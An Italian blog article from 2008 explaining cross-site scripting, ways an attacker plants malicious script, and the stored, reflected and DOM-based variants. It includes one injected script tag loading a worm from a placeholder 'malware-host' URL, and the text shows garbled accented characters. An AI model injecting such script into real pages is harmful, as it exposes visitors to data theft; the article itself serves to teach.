Aggiornato al : giu 15, 2008



Il cross-site scripting è una tecnica d’attacco che riesce a forzare il browser web all’esecuzione e visualizzazione di codice malevolo, contenuto nell’applicazione o nella pagina web cui l’utente accede. Generalmente scritto nei linguaggi HTML o JavaScript, il malware XSS non esegue sul server che lo ospita, bensµ³ lato client.
L’attaccante sceglie quindi un’applicazione web vulnerabile al cross-site script-ing, inietta il proprio codice malevolo al suo interno ed attende che un ignaro utente si colleghi al sito in questione. Quando il client visualizza la pagina web contenente il worm XSS, ne effettua l’esecuzione mediante il browser e, a quel
punto, l’attaccante puµo ottenere pieno potere sulla vittima: il furto delle informazioni sensibili, l’hacking dell’eventuale intranet, l’accesso alla cronologia sono solo alcuni degli aspetti di questo tipo di attacco.
Come già accennato, il primo passo di un attaccante sta nell’upload del proprio malware nel sito web designato ad ospitarlo. Esistono diversi metodi attraverso i quali tale operazione puµo essere effettuata:

1. Il proprietario del sito web è proprio l’attaccante, quindi ha inserito deliberatamente il malware;

2. Sfruttando una vulnerabilitµa del sistema operativo o di livello Network,
l’attaccante µe riuscito ad inviare al server il malware creato;

3. L’attaccante ha inserito il proprio codice XSS attraverso una zona del sito
vulnerabile;

4. L’attaccante crea e diffonde un link apposito che collega ad una pagina web, la cui visualizzazione provoca l’esecuzione del malware.
Un semplice esempio di cross-site scripting con i metodi 1 e 2 è l’iniezione all’interno di una pagina HTML del seguente codice:
<script src = http://malware-host/xss-worm.js "/>

Utilizzando semplicemente il tag HTML script, in tal modo, è possibile richiamare il malware XSS, memorizzato all’URL specificato.
Per i metodi 3 e 4, è prima di tutto necessaria l’identificazione di un’applicazione web vulnerabile ad attacchi XSS. In tal caso, l’utente vittima dell’attacco accederà alla pagina web ed eseguirµa il malware in essa contenuto (3) oppure selezionerµa un link opportunamente ideato per portare a termine l’attacco (4). Nel
primo caso si parla di cross-site scripting persistente (persistent/stored XSS), nel secondo caso si distinguono invece attacchi di cross-site scripting non persistente (non-persistent/refected XSS) o attacchi DOM-based o locali.

Articolo precedente -> Introduzione al Cross Site Scripting (Xss)

Articolo successivo -> Attacchi XSS non persistenti

Autore : Simon. U



You may be the one to comment first. Please leave your message below.